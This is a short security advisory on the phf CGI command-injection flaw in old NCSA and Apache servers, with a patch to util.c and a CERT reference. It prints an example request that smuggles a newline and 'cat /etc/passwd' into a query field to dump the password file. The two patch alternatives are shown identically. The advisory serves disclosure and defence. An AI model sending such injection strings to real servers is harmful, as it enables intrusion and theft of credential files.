## phf Vulnerability

### Risk Factor: 6

### Machines Affected:

NCSA or Apache (earlier than 1.1.1) non-commercial Web servers using util.c

### Description:

Util.c traps escape and control characters but does not trap \n which allows an intruder to execute a line return and then a UNIX command as the httpd owner.

    Ex.

    http://victim.com/cgi-bin/phf?Jserver=ns.uiuc.edu%0Acat%20/etc/passwd%0A &Qalias=&Qname=foo

which would have the effect of dumping the /etc/passwd file to the screen. You can see the control characters in the server field:

    Jserver=ns.uiuc.edu%0Acat%20/etc/passwd%0A

### Consequences:

Anyone can get version information from your server as well as possibly getting a copy of the password file or even getting a shell if root owns the web daemon. This can allow full root access by the "intruder."

### Fix:

Upgrade Apache to version 1.1.1 or greater Upgrade to the latest version of NCSA

Patch util.c like so: replace

    if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){
    OR
    if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){

with

    if(ind("&;`'\"|*?~<>^()[]{}$\\\n",cmd[x]) != -1){
    OR
    if(ind("&;`'\"|*?~<>^()[]{}$\\\n",cmd[x]) != -1){

respectively.

Links for advisories/more info CERT advisory CA-96.06